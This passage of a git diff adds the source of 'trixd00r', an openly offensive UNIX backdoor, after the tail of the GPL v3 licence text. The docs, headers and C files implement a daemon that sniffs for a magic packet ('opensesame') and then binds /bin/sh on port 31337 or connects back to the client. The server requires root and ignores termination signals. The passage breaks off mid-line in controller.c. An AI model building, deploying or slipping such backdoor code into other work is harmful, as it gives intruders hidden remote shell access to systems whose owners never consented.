to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/backdoor/trixd00r/source/docs/DESCR b/backdoor/trixd00r/source/docs/DESCR new file mode 100644 index 0000000..4885cf7 --- /dev/null +++ b/backdoor/trixd00r/source/docs/DESCR @@ -0,0 +1,6 @@ +trixd00r is an advanced and invisible userland backdoor based on TCP/IP for UNIX +systems. It consists of a server and a client. The server sits and waits for +magic packets using a sniffer. If a magic packet arrives, it will bind a shell +over TCP or UDP on the given port or connecting back to the client again over +TCP or UDP. The client is used to send magic packets to trigger the server and +get a shell. diff --git a/backdoor/trixd00r/source/docs/INSTALL b/backdoor/trixd00r/source/docs/INSTALL new file mode 100644 index 0000000..53f07aa --- /dev/null +++ b/backdoor/trixd00r/source/docs/INSTALL @@ -0,0 +1 @@ +Type make and follow the instructions. diff --git a/backdoor/trixd00r/source/docs/README b/backdoor/trixd00r/source/docs/README new file mode 100644 index 0000000..80e9daa --- /dev/null +++ b/backdoor/trixd00r/source/docs/README @@ -0,0 +1,13 @@ +NOTES: + +* I hereby emphasize that trixd00r is for education purposes only. I do not take + any responsibility for any abuse or misuse! + +* For install instructions, read the INSTALL file. For usage instruction, refer + to the '-h' option. + +* Before asking me for features, you should take a quick look into doc/TODO + list, please. :) + +cheers, +noptrix diff --git a/backdoor/trixd00r/source/docs/TESTED b/backdoor/trixd00r/source/docs/TESTED new file mode 100644 index 0000000..05b48ab --- /dev/null +++ b/backdoor/trixd00r/source/docs/TESTED @@ -0,0 +1,11 @@ +===> 0.0.1 + * debian 6.0 (2.6.32) - libpcap 0.8 + * gentoo 3.2.5 - libpcap 1.2.1 + * gentoo 3.1.5 - libpcap 1.2.0 + * gentoo 3.0.6 - libpcap 1.1.1 + * freebsd 8.2 - libpcap 1.0.0 + * netbsd 5.1 - libpcap 0.9.4 + * openbsd 4.9 - libpcap 0.x + * openbsd 5.0 - libpcap 0.x + * SunOS 5.11 - libpcap 1.0.0 + * Mac OS X 10.7.3 - libpcap 1.1.1 diff --git a/backdoor/trixd00r/source/docs/THANKS b/backdoor/trixd00r/source/docs/THANKS new file mode 100644 index 0000000..9a4dfd2 --- /dev/null +++ b/backdoor/trixd00r/source/docs/THANKS @@ -0,0 +1,5 @@ +* my wife and my son supporting me during our hard life (SIRUM EM CES!) +* nullsecurity +* prdelka +* disque +* and to all my friends diff --git a/backdoor/trixd00r/source/docs/TODO b/backdoor/trixd00r/source/docs/TODO new file mode 100644 index 0000000..d16c216 --- /dev/null +++ b/backdoor/trixd00r/source/docs/TODO @@ -0,0 +1,21 @@ +changelog and todo list for trixd00r (public version) +===================================================== + +===> 0.0.3 + * add shell communication over ICMP (rawsockets) ........................ [] + * add option for 'sending shell commands to server' ..................... [] + * refactor and clean up the whole code .................................. [] + +===> 0.0.2 + * option for 'sequence of packets' to trigger backdoor .................. [] + * add delay option ...................................................... [] + * add timeout option .................................................... [] + * client: fix udp listen mode (bugfix) .................................. [] + * client: do not connect after byebye packet (bugfix) ................... [] + * add option for listen address/host .................................... [] + * add ICMP support (magic packet) ....................................... [] + * add full tty/pty support .............................................. [] + +===> 0.0.1 + + * initial release ................................................... [DONE] diff --git a/backdoor/trixd00r/source/server/Makefile b/backdoor/trixd00r/source/server/Makefile new file mode 100644 index 0000000..6ab9802 --- /dev/null +++ b/backdoor/trixd00r/source/server/Makefile @@ -0,0 +1,62 @@ +################################################################################ +# ____ _ __ # +# ___ __ __/ / /__ ___ ______ ______(_) /___ __ # +# / _ \/ // / / (_- + + +/* welcome banner */ +#define BAN_WELCOME1 "\ +@@@@@@@ @@@@@@@ @@@ @@@ @@@ @@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@\n\ +@@@@@@@ @@@@@@@@ @@@ @@@ @@@ @@@@@@@@ @@@@@@@@@@ @@@@@@@@@@ @@@@@@@@\n\ + @@! @@! @@@ @@! @@! !@@ @@! @@@ @@! @@@@ @@! @@@@ @@! @@@\n\ + !@! !@! @!@ !@! !@! @!! !@! @!@ !@! @!@!@ !@! @!@!@ !@! @!@\n\ + @!! @!@!!@! !!@ !@@!@! @!@ !@! @!@ @! !@! @!@ @! !@! @!@!!@!\n\ + !!! !!@!@! !!! @!!! !@! !!! !@!!! !!! !@!!! !!! !!@!@!\n" + +#define BAN_WELCOME2 "\ + !!: !!: :!! !!: !: :!! !!: !!! !!:! !!! !!:! !!! !!: :!!\n\ + :!: :!: !:! :!: :!: !:! :!: !:! :!: !:! :!: !:! :!: !:!\n\ + :: :: ::: :: :: ::: :::: :: ::::::: :: ::::::: :: :: :::\n\ + : : : : : : :: :: : : : : : : : : : : : : :\n\n\ + ..:: w3lc0m3 h4x0r (0r m4yb3 ju5t 4 5cr1pt k1ddy?) ::..\n\ + --\n\ + 3nj0y y0ur sh3ll\n" + +/* bye bye banner */ +#define BAN_BYE "h4v3 a n1c3 d4y..." + + +/* banner types */ +#define _BAN_WELCOME 0 +#define _BAN_BYE 1 + + +/* default values */ +#define DEF_MODE _TCP_BIND_PORT /* shell mode */ +#define DEF_PORT 31337 /* port for shell */ + + +/* socket buffer for read() / write() */ +#define SOCKBUF 4096 + + +/* available shell modes (description) */ +#define TCP_BIND_PORT "TCP bind port" +#define TCP_CONN_BACK "TCP connect back" +#define UDP_BIND_PORT "UDP bind port" +#define UDP_CONN_BACK "UDP connect back" + + +/* shell */ +#define SHELL "/bin/sh" + + +/* shell modes */ +enum { + _TCP_BIND_PORT = 0, _TCP_CONN_BACK, _UDP_BIND_PORT, _UDP_CONN_BACK, + _NUM_SHELL_MODES +}; + + +/* print available shell modes */ +void print_shell_modes(); + + +/* either connect back or bind port and send shell */ +void open_shell(ctrl_t *); + + +/* send welcome or bye banner to the client */ +void send_banner(shell_t *, unsigned char); +#define __SEND_BANNER(type) \ + if (shell->banner) { send_banner(shell, type); } + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/inc/signals.h b/backdoor/trixd00r/source/server/inc/signals.h new file mode 100644 index 0000000..06d733d --- /dev/null +++ b/backdoor/trixd00r/source/server/inc/signals.h @@ -0,0 +1,61 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- + + +/* foo */ +typedef void sigfunc(int); + + +/* signal handler */ +sigfunc *xsignal(int, sigfunc *); + + +/* we don't want to have zombies :) */ +void sig_chld(); + + +/* connect timeout */ +void connect_alarm(); + + +/* cleanup for SIGINT/SIGTERM */ +void cleanup(); + + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/inc/sniffer.h b/backdoor/trixd00r/source/server/inc/sniffer.h new file mode 100644 index 0000000..3f9f907 --- /dev/null +++ b/backdoor/trixd00r/source/server/inc/sniffer.h @@ -0,0 +1,222 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- +#include + + +/* default values */ +#define DEF_HOST "ANY" /* default allowed host */ +#define DEF_TYPE _TCP_SYN_TYPE /* packet/protocol type */ +#define DEF_PAYLOAD "opensesame" /* magic payload */ +#define DEF_BYE_PAYLOAD "byebye" /* magic BYE payload */ +#define DEF_PORT 31337 /* port for shell */ + + +/* ethernet related */ +#define ETHER_ADDR_LEN 6 /* ethernet address length */ +#define SIZE_ETHERNET 14 /* ethernet header size always 14 bytes */ + + +/* ip related */ +#define IP_RF 0x8000 /* reserved fragment flag */ +#define IP_DF 0x4000 /* dont fragment flag */ +#define IP_MF 0x2000 /* more fragments flag */ +#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ +#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f) +#define IP_V(ip) (((ip)->ip_vhl) >> 4) + + +/* tcp related */ +#define TH_FIN 0x01 /* TCP FIN flag */ +#define TH_SYN 0x02 /* TCP SYN flag */ +#define TH_RST 0x04 /* TCP RST flag */ +#define TH_PUSH 0x08 /* TCP PUSH flag */ +#define TH_ACK 0x10 /* TCP ACK flag */ +#define TH_URG 0x20 /* TCP URG flag */ +#define TH_ECE 0x40 /* TCP ECE flag */ +#define TH_CWR 0x80 /* TCP CWR flag */ +#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR) +#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4) + + +/* packet type descriptions */ +#define TCP_SYN_TYPE "TCP SYN packet" +#define TCP_ACK_TYPE "TCP ACK packet" +#define TCP_RST_TYPE "TCP RST packet" +#define TCP_PSH_TYPE "TCP PSH packet" +#define TCP_URG_TYPE "TCP URG packet" +#define TCP_FIN_TYPE "TCP FIN packet" +#define UDP_TYPE "UDP datagram" +#define ICMP_ECHO_TYPE "ICMP echo" + + +/* supported protocol names */ +#define _TCP_PROT "tcp" +#define _UDP_PROT "udp" +#define _ICMP_PROT "icmp" + + +/* is it our magic packet or not? */ +#define IS_NOT_MAGIC_PACKET 0 +#define IS_MAGIC_PACKET 1 +#define IS_BYEBYE_PACKET 2 + + +/* ethernet header */ +typedef struct { + unsigned char dhost[ETHER_ADDR_LEN]; /* Destination host address */ + unsigned char shost[ETHER_ADDR_LEN]; /* Source host address */ + unsigned short type; /* IP? ARP? RARP? etc */ +} ether_t; + + +/* ip header */ +typedef struct { + unsigned char ip_vhl; /* version << 4 | header length >> 2 */ + unsigned char ip_tos; /* type of service */ + unsigned short ip_len; /* total length */ + unsigned short ip_id; /* identification */ + unsigned short ip_off; /* fragment offset field */ + unsigned char ip_ttl; /* time to live */ + unsigned char ip_p; /* protocol */ + unsigned short ip_sum; /* checksum */ + struct in_addr src, dst; /* source and dest address */ +} ip_t; + + +/* tcp header */ +typedef struct { + unsigned short th_sport; /* source port */ + unsigned short th_dport; /* destination port */ + unsigned int th_seq; /* sequence number */ + unsigned int th_ack; /* acknowledgement number */ + unsigned char th_offx2; /* data offset, rsvd */ + unsigned char th_flags; /* tcp flags */ + unsigned short th_win; /* window */ + unsigned short th_sum; /* checksum */ + unsigned short th_urp; /* urgent pointer */ +} tcp_t; + + +/* udp header */ +typedef struct { + uint16_t uh_sport; /* source port */ + uint16_t uh_dport; /* destination port */ + uint16_t uh_ulen; /* udp length */ + uint16_t uh_sum; /* udp checksum */ +} udp_t; + + +/* sniffer related data */ +typedef struct { + pcap_t *handle; /* pcap handler */ + const char *iface; /* interface to use */ + bpf_u_int32 mask; /* netmask of device */ + bpf_u_int32 net; /* ipaddr of device */ +} sniffer_t; + + +/* packet related data */ +typedef struct { + const ether_t *ether; /* sniffed ethernet header */ + const ip_t *ip; /* sniffed ip header */ + const tcp_t *tcp; /* sniffed tcp header */ + const udp_t *udp; /* sniffed udp header */ + const unsigned char *bytes; /* pcap packet bytes, len etc. */ + unsigned char type; /* magic packet type */ + char *m_payload; /* magic payload */ + char *b_payload; /* magic BYE payload */ + char *s_payload; /* sniffed payload */ + unsigned int size_ip; /* size of ip header */ + unsigned int size_tcp; /* size of tcp header */ + unsigned int size_udp; /* size of udp header */ + char src_host[16]; /* address of source host */ + char dst_host[16]; /* address of destination host */ + char *allowed_host; /* allowed host to talk to trixd00rd */ +} packet_t; + + +/* shell related data */ +typedef struct { + unsigned char banner; /* send banner or not ? */ + unsigned char mode; /* shell mode */ + const char *descr; /* short description */ + const char *host; /* host to connect back */ + uint16_t port; /* port to bind or connect back */ + int lfd; /* listen socket */ + int cfd; /* connected socket */ + struct sockaddr_in srv; /* server address */ + struct sockaddr_in cli; /* client address */ + pid_t pid; /* parent/child proccess id */ +} shell_t; + + +/* controller's working template */ +typedef struct { + sniffer_t *sniffer; /* see sniffer.h */ + packet_t *packet; /* see sniffer.h */ + shell_t *shell; /* see shell.h */ + unsigned char daemon; /* daemonize or not */ + unsigned char ssl; /* use ssl encryption */ + unsigned char verbose; /* verbosity */ +} ctrl_t; + + +enum { + _TCP_SYN_TYPE = 0, _TCP_ACK_TYPE, _TCP_RST_TYPE, _TCP_PSH_TYPE, + _TCP_URG_TYPE, _TCP_FIN_TYPE, _UDP_TYPE, _NUM_PKT_TYPES +}; + + +/* print available packet types */ +void print_packet_types(); + + +/* sniff magic packet */ +unsigned char watch_packet(ctrl_t *); + + +/* prepare sniffer, all pcap needed stuff */ +void prepare_sniffer(ctrl_t *); + + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/inc/trixd00rd.h b/backdoor/trixd00r/source/server/inc/trixd00rd.h new file mode 100644 index 0000000..0dfad82 --- /dev/null +++ b/backdoor/trixd00r/source/server/inc/trixd00rd.h @@ -0,0 +1,64 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- +#include +#include +#include +#include + + +/* misc global macros */ +#define VERSION "trixd00rd v0.0.1" +#define ATOI(str) strtol(str, (char **) NULL, 10) + + +/* exit() */ +#define __EXIT_SUCCESS exit(EXIT_SUCCESS) +#define __EXIT_FAILURE exit(EXIT_FAILURE) + + +/* leet color codes */ +#define BLUE "\033[94m" +#define RED "\033[91m" +#define GREEN "\033[92m" +#define YELLOW "\033[93m" +#define NORM "\033[0m" + + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/inc/verbose.h b/backdoor/trixd00r/source/server/inc/verbose.h new file mode 100644 index 0000000..21cc7ae --- /dev/null +++ b/backdoor/trixd00r/source/server/inc/verbose.h @@ -0,0 +1,80 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_-verbose) + +#define __VERBOSE_ARGS __IF_VERBOSE \ + printf("[+] "BLUE"checking arguments"NORM"\n"); + +#define __VERBOSE_PREPARE __IF_VERBOSE \ + printf("[+] "BLUE"preparing sniffer"NORM"\n"); + +#define __VERBOSE_WATCH __IF_VERBOSE \ + printf("[+] "BLUE"watching for magic packet"NORM"\n"); + +#define __VERBOSE_MAGIC __IF_VERBOSE \ + printf("--- "YELLOW"got magic packet"NORM"\n"); + +#define __VERBOSE_BIND_TCP __IF_VERBOSE \ + printf("--- "YELLOW"binding shell on TCP port %u"NORM"\n", shell->port); + +#define __VERBOSE_CONNBACK_TCP __IF_VERBOSE \ + printf("--- "YELLOW"connecting back to %s"NORM"\n", shell->host); + +#define __VERBOSE_BIND_UDP __IF_VERBOSE \ + printf("--- "YELLOW"binding shell on UDP port %u"NORM"\n", shell->port); + +#define __VERBOSE_CONNBACK_UDP __IF_VERBOSE \ + printf("--- "YELLOW"connecting back to %s:%u"NORM"\n", shell->host,\ + shell->port); + +#define __VERBOSE_CONNECT_FROM __IF_VERBOSE \ + printf("--- "YELLOW"ph34r, client %s has connected"NORM"\n", \ + inet_ntop(AF_INET, &shell->cli.sin_addr, buff, sizeof(buff))); + +#define __VERBOSE_CONNECT_TO __IF_VERBOSE \ + printf("--- "YELLOW"ph34r, connected to %s"NORM"\n", shell->host); + +#define __VERBOSE_BYEBYE __IF_VERBOSE \ + printf("--- "YELLOW"got BYEBYE packet :("NORM"\n"); + +#define __VERBOSE_END __IF_VERBOSE \ + printf("[+] "BLUE"ending trixd00rd"NORM"\n"); + + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/inc/wrapper.h b/backdoor/trixd00r/source/server/inc/wrapper.h new file mode 100644 index 0000000..4a19a16 --- /dev/null +++ b/backdoor/trixd00r/source/server/inc/wrapper.h @@ -0,0 +1,91 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_- +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +/* memory */ +void *xmalloc(size_t); +void *xmemset(void *, int, size_t); +void *xmemcpy(void *, const void *, size_t); +void *alloc_buff(unsigned int); + + +/* file */ +void xclose(int); +int xdup2(int, int); +void xselect(int, fd_set *, fd_set *, fd_set *, struct timeval *); +void xpipe(int *); + + +/* net */ +struct hostent *xgethostbyname(const char *); +int xsocket(int, int, int); +void xconnect(int, const struct sockaddr *, socklen_t); +void xsendto(int, const void *, size_t, int, const struct sockaddr *, socklen_t); +ssize_t xrecvfrom(int, void *, size_t, int, struct sockaddr *, socklen_t *); +void xsetsockopt(int, int, int, const void *, socklen_t); +void xinet_ntop(int, const void *, char *, socklen_t); +void xbind(int, const struct sockaddr *, socklen_t); +void xlisten(int, int); +int xaccept(int, struct sockaddr *, socklen_t *); + + +/* pcap */ +void xpcap_lookupnet(const char *, bpf_u_int32 *, bpf_u_int32 *); +pcap_t *xpcap_open_live(const char *, int, int, int); +void xpcap_compile(pcap_t *, struct bpf_program *, const char *, int, + bpf_u_int32); +void xpcap_setfilter(pcap_t *, struct bpf_program *); + + +char *convert_host(char *); + +#endif + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/src/checks.c b/backdoor/trixd00r/source/server/src/checks.c new file mode 100644 index 0000000..759f24e --- /dev/null +++ b/backdoor/trixd00r/source/server/src/checks.c @@ -0,0 +1,169 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_-= _NUM_PKT_TYPES) { + free_trixd00rd(ctrl); + print_error(ERR_PKT_TYPE); + } + + return; +} + + +/* checks for valid shell mode / prints out available modes */ +void check_shell_mode(ctrl_t *ctrl, char *mode) +{ + /* list shell modes */ + if (strchr(mode, '?')) { + print_shell_modes(); + free_trixd00rd(ctrl); + __EXIT_SUCCESS; + } + + /* wrong shell mode */ + if (ATOI(mode) < 0 || ATOI(mode) >= _NUM_SHELL_MODES) { + free_trixd00rd(ctrl); + print_error(ERR_SHELL_MODE); + } + + return; +} + + +/* checks for valid hosts */ +void check_host(const char *host) +{ + int x = 0; + unsigned char buff[sizeof(struct in_addr)]; + + + x = inet_pton(AF_INET, host, buff); + + if (x <= 0) { + xgethostbyname(host); + } + + return; +} + + +/* checks for valid port number */ +void check_port(ctrl_t *ctrl, int port) +{ + if (port == 0 || port < 0 || port > 65535) { + free_trixd00rd(ctrl); + print_error(ERR_PORT); + } + + return; +} + + +/* checks for uid 0 */ +void check_uid(ctrl_t *ctrl) +{ + uid_t uid = 0; + + + uid = getuid(); + + if (uid != 0) { + free_trixd00rd(ctrl); + print_error(ERR_UID); + } + + return; +} + + +/* checks for packet size */ +void check_pkt_size(ctrl_t *ctrl, int size) +{ + if (size > MAX_PORT) { + free_trixd00rd(ctrl); + print_error(ERR_PKT_SIZE); + } + + return; +} + + +/* check first usage */ +void check_argc(int argc) +{ + if (argc < 2) { + print_error(ERR_ARGC); + } + + return; +} + + +/* checks, if necessary arguments are selected */ +void check_args(ctrl_t *ctrl) +{ + /* interface was not selected */ + if (ctrl->sniffer->iface == NULL) { + free_trixd00rd(ctrl); + print_error(ERR_ARGS); + } + + /* other needed arguments were not defined */ + if (ctrl->sniffer->iface == NULL || + (ctrl->shell->mode == _TCP_CONN_BACK && + ctrl->shell->host == NULL) || + (ctrl->shell->mode == _UDP_CONN_BACK && + ctrl->shell->host == NULL)) { + free_trixd00rd(ctrl); + print_error(ERR_ARGS); + } + + return; +} + +/* EOF */ diff --git a/backdoor/trixd00r/source/server/src/controller.c b/backdoor/trixd00r/source/server/src/controller.c new file mode 100644 index 0000000..580daa9 --- /dev/null +++ b/backdoor/trixd00r/source/server/src/controller.c @@ -0,0 +1,135 @@ +/******************************************************************************* + * ____ _ __ * + * ___ __ __/ / /__ ___ ______ ______(_) /___ __ * + * / _ \/ // / / (_-shell != NULL) { + free(ctrl->shell); + } + if (ctrl->sniffer != NULL) { + free(ctrl->sniffer); + } + if (ctrl->packet != NULL) { + free(ctrl->packet); + } + if (ctrl != NULL) { + free(ctrl); + } + + return; +} + + +/* ignore or handle some signals */ +void install_signals() +{ + xsignal(SIGTERM, SIG_IGN); + xsignal(SIGHUP, SIG_IGN); + xsignal(SIGINT, SIG_IGN); + xsignal(SIGUSR1, SIG_IGN); + xsignal(SIGUSR2, SIG_IGN); + + /* here we do not ignore SIGCHLD, because we need to be without zombies */ + xsignal(SIGCHLD, sig_chld); + + return; +} + + +/* allocate buffer for each struct and fill in with zeros */ +ctrl_t *alloc_structs() +{ + ctrl_t *ctrl = NULL; + + + ctrl = (ctrl_t *) alloc_buff(sizeof(ctrl_t)); + ctrl->sniffer = (sniffer_t *) alloc_buff(sizeof(sniffer_t)); + ctrl->packet = (packet_t *) alloc_buff(sizeof(packet_t)); + ctrl->shell = (shell_t *) 